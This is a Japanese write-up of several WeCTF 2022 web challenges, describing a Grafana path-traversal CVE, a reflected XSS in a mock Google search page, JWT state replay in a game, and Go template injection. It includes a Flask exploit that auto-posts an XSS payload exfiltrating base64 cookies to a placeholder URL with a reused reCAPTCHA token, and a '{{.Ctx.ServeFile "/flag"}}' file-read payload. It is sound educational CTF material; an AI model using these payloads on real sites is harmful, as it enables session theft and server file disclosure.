WeCTF 2022 Writeup

Mon Jun 13 2022

6/12-6/13 で開催していた WeCTF 2022 に参加しました。結果は 11th/176 でした (得点のあるチームのみカウント)。 web 全然わからないけどわからないなりにがんばれた気がします。解けた問題について writeup を書きます。

Dino Run

159 solves

右下に "Flag" があるっぽい表示をしているのでひたすら右下に走るだけでフラグが手に入りました。

we{4ae56569-449a-4ff7-a5f3-fe1da7a367ce@w3Lc0me-t0-W3C7F}

Grafana

100 solves

Grafana が動いているページに飛ばされました。 バージョン (v8.3.0, ログイン画面下部に存在) でググってみると CVE-2021-43798 を見つけました。 ついでに exploit も ここ で見つけたのでこれを実行したら /tmp/flag が読めました。

we{1a548011-6108-4ab7-bab9-df3f74b032b3@3asy Lf1}

Google Wayback

25 solves

いにしえの Google ページに飛ばされました。見覚えがある。

入力できるのが検索ワードぐらいなので search.php$_GET で検索すると、 XSS を引き起こせそうな場所が比較的簡単に見つかりました。

<input class="lst" value="<?php echo $_GET["q"]; ?>" title="Search" id="sbhost" autocomplete="off" type="text" name="q" maxlength="2048" dir="ltr" spellcheck="false" style="outline: none;" />

"><script>alert(1)</script> という文字列で検索をかけると javascript が実行されることを確認しました。

あとは admin に URL を指定するだけ…と思いきや、 search.php は POST しか受け付けない、 reCAPTCHA を突破する必要があることがわかりました。

POST しか受け付けない点については、適当に ngrok とかでサーバーを立てておき、そこにアクセスさせて POST させればよさそうです。

reCAPTCHA についてはチェックを突破した後に生成されるトークンを他のセッション (?) でも使えれば、自分でポチポチやって発行したトークンを admin に使わせることで突破できそうです。 実際に BurpSuite で search.php に POST する瞬間を intercept し、そのとき送ろうとするトークンを使って別のページから POST するとちゃんと機能することを確認しました。

以上を踏まえ、以下のサービスを ngrok で立ち上げてその URL を踏ませればフラグが手に入りました。 g-recaptcha-response の value には上記方法で得たトークンをハードコードしています。

exploit.py
from flask import Flask

app = Flask(__name__)


@app.route("/")
def index():
    return """
<html>
<head>
  <script>
    function sleep(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }
    const main = async () => {
      await sleep(1000);
      document.form.submit();
    }
    main();
  </script>
</head>
<body>
  <form id="form" name="form" method="post" action="http://google.jp.ctf.so/search.php?q=%22%3E%3Cscript%3Elocation.href=`MY_URL?q=${btoa(document.cookie)}`%3C/script%3E">
  <input type="hidden" name="q" value="%22%3E%3Cscript%3Elocation.href=`MY_URL?q=${btoa(document.cookie)}`%3C/script%3E">
  <input type="hidden" name="g-recaptcha-response" value="03AGdBq24Rv4m6c69Xpqa7VUjUbuPvoFfPxJqw2K_2DhQB7NDYlVvvnOoyLSR4IKYwfluz2jQWH_4JTZI_1X3CUf1x9x41SZHg5d_8czEMkOjbGN29zS2EHC9CoJ5_n3yhsK7rWC3nrkr8tfuv9m_15a4S1VFbkHBaZajY_iKEqEGq9fFOAHEW3IfftfMu0xbirbFvJf7lmlncGRWSS39wlOkN0FLepCa3SxoY691a_09mX2BsAqPFVj2jo5bTIJ8pJzEnsFL5ni6soXvthmH7VQB6iVRtWoI8tUpSX6MrC0zG6KiczWRl5CHUQzMNltLsjokLdoYbjReVc5G0PjCbWnYEpg8KIgaWDj9kS3Zxgvg06KX3f4Qd4eSuw5SNaATRRAhs2ce_3BLMaZya2fB7skvtLwddp4OmSPV3tIbDfECEUqJ80OZhQJKIRSkmV3yRvdf4IlP97-kv5SpRHm4ELNtg21JeiVKU_w">
  <input type="hidden" name="btnG" value="Google Search">
  <button name="button" type="submit">hoge</button>
</body>
</html>"""


if __name__ == "__main__":
    app.run(debug=True)

we{50f71c88-955f-48e0-bb57-6fb070a29bdb@y0U_Ha(K3d_g0Ogl3}

Dino Run Extra Hard

sanity check 問の Dino Run と見た目は同じですが、走っている途中で突然死するように変更されています。死亡確率はフラグに近づくほど高くなり、普通にフラグに向かっていくだけでクリアできるのは現実的ではありません。

サーバー側の状態に対して JWT で署名をつけたものを token とし、これをクライアントとやりとりすることでゲームが描画されています。 token を改ざんできればクリアできますが、 algorithm が陽に指定されている等、しっかりしていそうで改ざんは難しそうです。

ここでよく考えてみると token が状態を保存したものになっているため、一歩動いて死ななければ token を更新し、死んでしまったら token を元のままにする、とすればフラグに一歩ずつ進むことができます。このような挙動となるようにクライアント側のコードを書き換え (startmove を書き換えた)、ひたすらフラグに向かって移動するコードを書くことでフラグを得ました。 10510^5-10610^6回程度は request を飛ばしていそう、これは想定解だったのだろうか…

we{d1e53e56-6a05-463f-9962-ed31b36932eb@jWt s*Cks!}

Request Bin

21 solves

アクセス情報のログを取れるサービスのようです。どのような情報を取るかを format として与えることができ、デフォルトでは {{.Now.Format .TimeFormat}}|{{.Code}}|{{.Method}}|{{.Path}}|{{.IP}}|{{.Request}} というテンプレートが使われています。

このテンプレートの表記方法を調べてみると、 このようなサイト を見つけました。 {{.Attribute}} の形で attribute にアクセスできるようです。さらに {{.Method arg0 arg1}} の形で arg0, arg1 を引数として method を呼ぶことができます。

Log 構造体の ソースコード を見ると、 Ctx が存在することがわかります。 context.Context の method を探してみると、 ServeFile というものがあることに気づきます。これを使い、 {{.Ctx.ServeFile "/flag"}} という文字列でログを取るようにするとフラグが表示されました。

we{f3ae92c8-0d8d-4072-ae37-ca3717842238@N3verTh0ughtG0HA3Tmp1Injec=t19n}